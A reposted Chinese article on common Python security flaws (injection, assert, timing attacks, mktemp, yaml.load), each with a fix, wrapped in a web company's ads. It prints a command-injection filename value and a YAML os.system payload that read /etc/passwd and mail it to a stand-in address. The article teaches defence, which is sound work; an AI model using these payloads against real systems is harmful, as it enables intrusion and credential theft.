簡(jiǎn)評(píng)：編寫安全代碼很困難，當(dāng)你學(xué)習(xí)一個(gè)編程語(yǔ)言、模塊或框架時(shí)，你會(huì)學(xué)習(xí)其使用方法。 在考慮安全性時(shí)，你需要考慮如何避免被濫用，Python 也不例外，即使在標(biāo)準(zhǔn)庫(kù)中，也存在用于編寫應(yīng)用的不良實(shí)踐。然而，許多 Python 開發(fā)人員卻根本不知道它們。

網(wǎng)站建設(shè)哪家好，找成都創(chuàng)新互聯(lián)！專注于網(wǎng)頁(yè)設(shè)計(jì)、網(wǎng)站建設(shè)、微信開發(fā)、成都微信小程序、集團(tuán)企業(yè)網(wǎng)站建設(shè)等服務(wù)項(xiàng)目。為回饋新老客戶創(chuàng)新互聯(lián)還提供了建寧免費(fèi)建站歡迎大家使用！

1. 輸入注入（Input injection）

---

注入×××非常廣泛而且很常見，注入有很多種類，它們影響所有的語(yǔ)言、框架和環(huán)境。

SQL 注入是直接編寫 SQL 查詢（而非使用 ORM） 時(shí)將字符串字面量與變量混合。我讀過(guò)很多代碼，其中「escaping quotes」被認(rèn)為是一種修復(fù)，但事實(shí)并非如此，可以通過(guò)這個(gè)鏈接查看 SQL 注入所有可能發(fā)生的復(fù)雜方式。

命令注入可能在使用 popen、subprocess、os.system 調(diào)用一個(gè)進(jìn)程并從變量中獲取參數(shù)時(shí)發(fā)生，當(dāng)調(diào)用本地命令時(shí)，有人可能會(huì)將某些值設(shè)置為惡意值。

下面是個(gè)簡(jiǎn)單的腳本，使用用戶提供的文件名調(diào)用子進(jìn)程：

import subprocess

def transcode_file(request, filename):
    command = 'ffmpeg -i "{source}" output_file.mpg'.format(source=filename)
    subprocess.call(command, shell=True)  # a bad idea!

×××者會(huì)將 filename 的值設(shè)置為“; cat / etc / passwd | mail them@domain.com 或者其他同樣危險(xiǎn)的東西。

修復(fù)：

如果你使用了 Web 框架，可以用附帶的實(shí)用程序?qū)斎脒M(jìn)行清理，除非有充分的理由，否則不要手動(dòng)構(gòu)建 SQL 查詢，大多數(shù) ORM 都具有內(nèi)置的消毒方法。

對(duì)于 shell，可以使用 shlex 模塊正確地轉(zhuǎn)義輸入。

2. assert 語(yǔ)句（Assert statements）

---

不要使用 assert 語(yǔ)句來(lái)防止用戶訪問(wèn)不應(yīng)訪問(wèn)的代碼段。

def foo(request, user):
   assert user.is_admin, “user does not have access”
   # secure code...

現(xiàn)在，默認(rèn)情況下，Python 以 debug 為 true 來(lái)執(zhí)行腳本，但在生產(chǎn)環(huán)境中，通常使用優(yōu)化運(yùn)行，這將會(huì)跳過(guò) assert 語(yǔ)句并直接轉(zhuǎn)到安全代碼，而不管用戶是否是 is_admin。

修復(fù)：

僅在與其他開發(fā)人員進(jìn)行通信時(shí)使用 assert 語(yǔ)句，例如在單元測(cè)試中或?yàn)榱朔乐共徽_的 API 使用。

3. 計(jì)時(shí)×××（Timing attacks）

---

計(jì)時(shí)×××本質(zhì)上是一種通過(guò)計(jì)時(shí)比較提供值所需時(shí)間來(lái)暴露行為和算法的方式。計(jì)時(shí)×××需要精確性，所以通常不能用于高延遲的遠(yuǎn)程網(wǎng)絡(luò)。由于大多數(shù) Web 應(yīng)用程序涉及可變延遲，因此幾乎不可能在 HTTP Web 服務(wù)器上編寫計(jì)時(shí)×××。

但是，如果你有提示輸入密碼的命令行應(yīng)用程序，則×××者可以編寫一個(gè)簡(jiǎn)單的腳本來(lái)計(jì)算將其值與實(shí)際密碼進(jìn)行比較所需的時(shí)間。

修復(fù)：

使用在 Python 3.5 中引入的 secrets.compare_digest 來(lái)比較密碼和其他私密值。

4.臨時(shí)文件（Temporary files）

---

要在 Python 中創(chuàng)建臨時(shí)文件，通常使用 mktemp() 函數(shù)生成一個(gè)文件名，然后使用該名稱創(chuàng)建一個(gè)文件。 「這是不安全的，因?yàn)榱硪粋€(gè)進(jìn)程可能會(huì)在調(diào)用 mktemp() 和隨后嘗試通過(guò)第一個(gè)進(jìn)程創(chuàng)建文件之間的空隙創(chuàng)建一個(gè)同名文件。」這意味著應(yīng)用程序可能加載錯(cuò)誤的數(shù)據(jù)或暴露其他的臨時(shí)數(shù)據(jù)。

如果調(diào)用不正確的方法，則最新版本的 Python 會(huì)拋出運(yùn)行警告。

修復(fù)：

如果需要生成臨時(shí)文件，請(qǐng)使用 tempfile 模塊并使用 mkstemp。

5. 使用 yaml.load

---

引用 PyYAML 文檔：

警告：使用從不可信源接收到的數(shù)據(jù)來(lái)調(diào)用 yaml.load 是不安全的！ yaml.load 和pickle.load 一樣強(qiáng)大，所以可以調(diào)用任何 Python 函數(shù)。
在流行的 Python 項(xiàng)目 Ansible 中找到的這個(gè)美麗的例子，你可以將此值作為（有效）YAML 提供給 Ansible Vault，它使用文件中提供的參數(shù)調(diào)用 os.system()。

!!python/object/apply:os.system ["cat /etc/passwd | mail me@hack.c"]
所以，從用戶提供的值中有效地加載 YAML 文件會(huì)讓應(yīng)用對(duì)×××打開大門。

修復(fù)：

總是使用 yaml.safe_load，除非你有一個(gè)非常好的理由。

網(wǎng)站標(biāo)題：Python中的10個(gè)常見安全漏洞，以及如何避免（上）
文章轉(zhuǎn)載：http://www.chinadenli.net/article44/pgiehe.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián)，為您提供ChatGPT、網(wǎng)站排名、網(wǎng)站營(yíng)銷、網(wǎng)站維護(hù)、、全網(wǎng)營(yíng)銷推廣

廣告

聲明：本網(wǎng)站發(fā)布的內(nèi)容（圖片、視頻和文字）以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主，如果涉及侵權(quán)請(qǐng)盡快告知，我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng)，如需處理請(qǐng)聯(lián)系客服。電話：028-86922220；郵箱：631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載，或轉(zhuǎn)載時(shí)需注明來(lái)源： 創(chuàng)新互聯(lián)